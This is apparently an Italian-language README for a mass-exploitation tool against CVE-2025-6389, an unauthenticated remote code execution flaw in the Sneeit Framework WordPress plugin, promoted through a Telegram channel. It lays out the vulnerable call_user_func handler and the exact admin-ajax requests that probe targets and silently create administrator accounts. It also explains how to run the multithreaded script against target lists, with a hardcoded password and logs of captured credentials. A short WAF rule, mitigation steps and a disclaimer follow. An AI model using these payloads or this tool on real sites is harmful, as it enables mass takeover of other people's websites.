
Sneeit Framework <= 8.3 - Esecuzione di codice remoto non autenticata in sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - Esecuzione Remota di Codice non autenticata in sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 Non perdere la prossima uscita. Segui @KNxploited su Telegram — il canale definitivo per CVE appena divulgate, exploit funzionanti e ricerche di sicurezza d'élite. I primi a sapere. I primi ad agire.
CVE-2025-6389 è una vulnerabilità critica con punteggio CVSS 9.8 di Esecuzione Remota di Codice trovata nel plugin Sneeit Framework per WordPress.
Il difetto risiede nella funzione sneeit_articles_pagination_callback(), che passa ciecamente input fornito dall'utente nella funzione call_user_func() di PHP — un attaccante non autenticato può chiamare qualsiasi funzione PHP con argomenti arbitrari, inclusa wp_insert_user, ottenendo di fatto accesso completo come amministratore o eseguendo qualsiasi codice lato server.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Versioni Affette | Tutte le versioni fino alla 8.3 inclusa |
| Tipo di Vulnerabilità | Esecuzione Remota di Codice (RCE) |
| Vettore di Attacco | Rete — Nessuna Autenticazione Richiesta |
| CVSS 3.1 Score | 9.8 CRITICO |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impatto | Compromissione completa del server / Acquisizione dell'admin |
| Ricercatore | Nxploited |
La causa principale è l'uso improprio di call_user_func() di PHP nel gestore AJAX del plugin:
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← User-controlled function name
$args = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args
// Calling ANY PHP function with ANY arguments — zero validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Perché è critico:
wp_ajax_nopriv_* = accessibile da chiunque, senza logincall_user_func($callback, $args) = invocazione arbitraria di funzionivar_dump, system, wp_insert_user, eval o qualsiasi funzione PHP/WordPressPasso 1 — Sondaggio / Impronta digitale
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Risposta Attesa → array(1) { [0]=> string(4) "test" }
↓
Conferma: call_user_func() è raggiungibile e riflette l'output
──────────────────────────────────────────────────────────────────
Passo 2 — Creazione Account Amministratore
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Risultato → Nuovo account amministratore creato silenziosamente sul target
↓
Accesso completo al pannello di amministrazione WordPress ottenuto ✔️
pip install requests rich
| Dipendenza | Scopo |
|---|---|
requests | Richieste HTTP con supporto sessione/proxy |
rich | Dashboard terminale live, pannelli, progresso |
threading | Elaborazione concorrente multi-target |
queue | Distribuzione thread-safe dei target |
È richiesto Python 3.8+. Gli hints di tipo usano la sintassi
tuple[...]introdotta in 3.9+ — usa 3.9+ per la migliore compatibilità.
CVE-2025-6389/
├── CVE-2025-6389.py # Script exploit principale
├── list.txt # URL target — uno per riga
├── success_results.txt # Generato automaticamente: target riusciti + credenziali
└── debug_responses/ # Generato automaticamente: risposte server grezze per debug
└── <target>.resp.txt
Crea list.txt con un URL per riga:
https://target1.com
https://target2.com
http://target3.com
Gli URL senza
http://ohttps://vengono automaticamente prefissati conhttp://.
python CVE-2025-6389.py
Verrà richiesto:
Nome file target (predefinito list.txt): list.txt
Numero di thread (predefinito 10): 20
Lo script avvia una dashboard Rich in tempo reale che mostra:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Stats │
│ Usage: Put targets in... │ Total Targets: 150 │
│ Threads: 20 │ Processed: 87 │
│ Password: xplpass │ Successes: 12 │
│ Success Log: success... │ Failures: 75 │
│ Debug Dir: debug_responses │ Elapsed: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Recent Results │
│ Time Target Result │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
Exploit riusciti vengono salvati in success_results.txt:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
Risposte di debug (per target falliti) vengono salvate in debug_responses/:
debug_responses/
└── https___victim.com.resp.txt ← Risposta server grezza per analisi
| Prompt | Predefinito | Descrizione |
|---|---|---|
| File target | list.txt | File contenente gli URL target |
| Numero di thread | 10 (max: 200) | Worker concorrenti — aumenta per scansioni di massa |
| Password | xplpass (hardcoded) | Password impostata per gli account amministratore creati |
| Formato username | Nxploited_XXXX | Generato automaticamente con suffisso casuale di 4 cifre |
L'exploit genera la seguente firma di rete — utile per difensori e autori di regole WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
Regola WAF / IDS (Pseudocodice):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
Se sei un proprietario del sito, sviluppatore o difensore, esegui immediatamente questi passaggi:
call_user_func()admin-ajax.php a livello di WAF/Firewallsneeit_articles_paginationQUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE PER SCOPI EDUCATIVI, TEST DI PENETRAZIONE
AUTORIZZATI E RICERCA SULLA SICUREZZA.
Scaricando, eseguendo o modificando questo script, accetti esplicitamente:
• Hai l'autorizzazione ESPLICITA e SCRITTA dal proprietario di ogni
sistema che testi. Nessuna eccezione.
• Stai operando in un ambiente di laboratorio controllato o durante un
impegno formalmente approvato.
• NON distribuirai questo strumento contro alcun sistema, rete o
infrastruttura per cui non hai il permesso legale di testare.
• Nxploited e tutti i contributori NON si assumono ALCUNA responsabilità per
qualsiasi uso non autorizzato, danno, perdita di dati, azione legale o
procedimento penale derivante dall'uso di questo strumento.
L'uso non autorizzato di questo exploit costituisce reato penale ai sensi di:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— E tutte le equivalenti leggi nazionali e internazionali sul cybercrimine.
USALO RESPONSABILMENTE. HACKERA IN MODO ETICO. DIVULGA RESPONSABILMENTE.
| Nome utente | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Segui @KNxploited su Telegram Il canale dove vengono pubblicati prima i veri exploit — CVE, zero-day, PoC e ricerche approfondite sulle vulnerabilità. Aggiornato regolarmente. Rimani all'erta.